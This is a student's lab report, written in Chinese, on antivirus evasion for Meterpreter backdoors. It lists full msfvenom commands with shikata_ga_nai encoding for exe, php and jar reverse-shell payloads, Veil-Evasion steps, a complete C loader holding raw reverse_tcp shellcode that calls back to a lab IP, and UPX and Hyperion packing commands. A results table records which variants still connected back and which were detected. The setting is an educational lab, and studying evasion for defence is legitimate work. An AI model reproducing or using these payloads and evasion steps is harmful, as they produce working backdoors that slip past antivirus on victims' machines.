Exp3 免杀原理与实践
任务一：正确使用msf编码器，msfvenom生成如jar之类的其他文件，veil-evasion，自己利用shellcode编程等免杀工具或技巧
使用VirusTotal或Viscan网站扫描后门程序
免杀工具1——msfvenom使用编码器
- 使用msfvenom命令生成exe文件
msfvenom -p windows/meterpreter/reverse_tcp -e x86shikata_ga_nai -b 'x00' LHOST=192.168.72.130 LPORT=5218 -f exe > test1.exe
// -e 选择编码器
// -b payload中需要去除的字符，该命令中为了使'x00'不出现在shellcode中，因为shellcode以'x00'为结束符
不仅没有免杀，甚至还变多了
- 迭代多次生成exe文件
msfvenom -p windows/meterpreter/reverse_tcp -e x86shikata_ga_nai -i 15 -b 'x00' LHOST=192.168.72.130 LPORT=5218 -f exe > test2.exe
\-i 设置迭代次数
没什么差别
- 杀软厂商研究的是编码器本身，shikata_ga_nai总会有解码(decoder stub)部分需要加入到exe中，只要盯住这部分就可以了。
- msfvenom会以固定的模板生成exe，所有它生成的exe，如果使用默认参数或模板，也有一定的固定特征。一般来说杀软厂商会针对其使用的模板来生成特征码，一劳永逸地解决所有msfvenom生成的恶意代码。如果使用msfvenom免杀，就要使用原生的模板。
生成php文件
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.72.130 LPORT=5218 x > test4.php
生成jar文件
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.72.130 LPORT=5218 x > test3.jar
免杀工具2——Veil-Evasion
什么是veil
去百度了一下veil，居然没有词条，老师写的教程里说与metasploit类似，也是一个免杀平台，查了下metasploit，是个开源的安全漏洞检测工具，通过它可以地获取、开发并对计算机软件漏洞实施攻击，本身附带数百个已知软件漏洞的专业级漏洞攻击工具，其初衷是打造一个攻击工具开发平台。那我就按照这个来理解veil-evasion吧……
实验过程
-
命令行
veil打开平台
-
依次输入如下命令进行配置
use Evasion
use c/meterpreter/rev_tcp.c //设置payload
set LHOST 192.168.72.136
set LPORT 5218 //设置回连的ip和端口
generate //生成文件
-
然后输入名字
veilC2018，生成完毕后可以分别看到c语言生成的程序的源码和可执行程序的位置
-
放入VirusTotal检测
好像没有刚刚那么惨烈，但还是有将近一半的杀软找到
免杀技术3——C语言调用Shellcode
- 生成一段shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.72.136 LPORT=5218 -f c
- 将shellcode数组写成一个.c程序
unsigned char buf[] =
"xfcxe8x82x00x00x00x60x89xe5x31xc0x64x8bx50x30"
"x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26x31xff"
"xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7xe2xf2x52"
"x57x8bx52x10x8bx4ax3cx8bx4cx11x78xe3x48x01xd1"
"x51x8bx59x20x01xd3x8bx49x18xe3x3ax49x8bx34x8b"
"x01xd6x31xffxacxc1xcfx0dx01xc7x38xe0x75xf6x03"
"x7dxf8x3bx7dx24x75xe4x58x8bx58x24x01xd3x66x8b"
"x0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0x89x44x24"
"x24x5bx5bx61x59x5ax51xffxe0x5fx5fx5ax8bx12xeb"
"x8dx5dx68x33x32x00x00x68x77x73x32x5fx54x68x4c"
"x77x26x07x89xe8xffxd0xb8x90x01x00x00x29xc4x54"
"x50x68x29x80x6bx00xffxd5x6ax0ax68xc0xa8x48x88"
"x68x02x00x11x5cx89xe6x50x50x50x50x40x50x40x50"
"x68xeax0fxdfxe0xffxd5x97x6ax10x56x57x68x99xa5"
"x74x61xffxd5x85xc0x74x0axffx4ex08x75xecxe8x67"
"x00x00x00x6ax00x6ax04x56x57x68x02xd9xc8x5fxff"
"xd5x83xf8x00x7ex36x8bx36x6ax40x68x00x10x00x00"
"x56x6ax00x68x58xa4x53xe5xffxd5x93x53x6ax00x56"
"x53x57x68x02xd9xc8x5fxffxd5x83xf8x00x7dx28x58"
"x68x00x40x00x00x6ax00x50x68x0bx2fx0fx30xffxd5"
"x57x68x75x6ex4dx61xffxd5x5ex5exffx0cx24x0fx85"
"x70xffxffxffxe9x9bxffxffxffx01xc3x29xc6x75xc1"
"xc3xbbxf0xb5xa2x56x6ax00x53xffxd5";
int main()
{
int (*func)() = (int(*)())buf;
func();
}
Kali Linux图形界面下的新建空白文档我实在是看不懂@-@，用touch text建了改的名（其实可以直接touch [filename]，开始从网上查还以为text也是命令的一部分，哎 学艺不精）
- 编译成可执行文件
i686-w64-mingw32-g++ met5218.c -o met5218.exe
-
放到主机被无情删除
-
其实回连不成功，那为什么会被删除 哭了
免杀技术4——加壳
什么是加壳
外壳保护技术，用户执行的实际上是这个外壳的程序，而这个外壳程序负责把用户原来的程序在内存中解开压缩，并把控制权交还给解开后的真正的程序，由于一切工作都是在内存中运行，用户根本不知道也不需要知道其运行过程，并且对执行速度没有什么影响。如果在外壳程序中加入对软件锁或钥匙盘的验证部分，它就是我们所说的外壳保护了。
在中文中的壳一般包含两种类型：压缩壳和加密壳。但在英文中确实两个不同的概念，与这两种类型对应的英文名词为：Packer和Protector。
压缩壳
对源程序代码进行压缩后，重新封装并生成可执行文件的一种壳。压缩壳的压缩算法一般采用已经较成熟的引擎，如aPLib、JCALG1等。
对于一些比较流行的压缩引擎后压缩壳，杀毒软件会针对这些壳专门开发与之对应的解压缩引擎，对加壳后的软件解压缩后进行杀毒，因而通常情况下使用压缩壳难以达到免杀目的。
加密壳
加密壳相比压缩壳的功能要复杂的多，加密壳侧重在软件保护上，压缩重新体积不是其主要任务，通常加密壳会将程序代码混淆加密，已达到防破解的目的，一些功能强大的加密壳可以给程序添加一些额外功能，包括限制软件使用时间，给软件添加注册功能等。
操作步骤
压缩壳
upx met5218.exe -o met5218_1.exe
加密壳
cp [filename.exe] /usr/share/windows-binaries/hyperion/
cd /usr/share/windows-binaries/hyperion/
wine hyperion.exe -v [filename.exe] [new_filename.exe]
不能回连的原因？？
1.是否因为没有头文件
看到群里有人说，加了头文件解决了于是尝试了一下，问百度func函数
这个是编译器支持的,不要头文件的
1.不是所有的编译器都支持(如VC2008,不支持__FUNC__)
2.可能用法的问题(这两个都是字串)
编译的时候并没有报错，也就是说编译器没问题，不过还是试着加了个#include <stdio.h>，但最后还是无法回连
2.用其他操作系统编译呢？
尝试了用Ubuntu编译，没用，难过
后来大奕说用主机下codeblocks编译，生成的.exe可以回连，试了试还是不行……
3.难道是两台主机网络连接有问题？？
没问题，ping通的
4.端口问题吗？
更换端口重新做了一遍，没什么变化
5.开始突发奇想了，上个实验中的后门程序能用吗？
可以使用的，仅仅加压缩壳或者仅加加密壳以后也都可以
但是压缩壳->加密壳，不行；后来不死心先做了加密壳又做了压缩壳竟然能够回连了，就是要等一段时间，所以我猜测先压缩后加密是不是因为我时间等的不够，那之前的半手工注入shellcode是不是也是时间不够？
| 操作 | 是否可回连 | 是否被查杀 |
|---|---|---|
| 0原后门程序 | 是 | 是 |
| 1压缩壳 | 是 | 是 |
| 2压缩壳+加密壳 | 否 | 否 |
| 5加密壳 | 是 | 是 |
| 6加密壳+压缩壳 | 是 | 是 |
等了5分钟，“压缩壳+加密壳”没连上，看来是真的连不上了
基础问题回答
杀软是如何检测出恶意代码的？
- 特征码扫描
- 启发式扫描
- 虚拟机技术
- 主动防御技术
- 自免疫技术
- ……
免杀是做什么的？
使恶意代码逃过杀毒软件的查杀
免杀的基本方法有哪些？
- msfvenom直接生成
- msfvenom编码一次
- msfvenom多次编码
- veil-evasion
- 半手工生成shellcode
- 加壳（压缩壳，加密壳）
- ……
开启杀软能绝对防止电脑中恶意代码吗？
当然不行，即便是开始直接生成的后门程序测试中也有杀软找不出来呢。
实验总结与体会
体会就是，好难啊，头发都要掉没了。为什么我的杀软这么好用呢？尝试了很多方法也没法实现，推测还是shellcode出问题了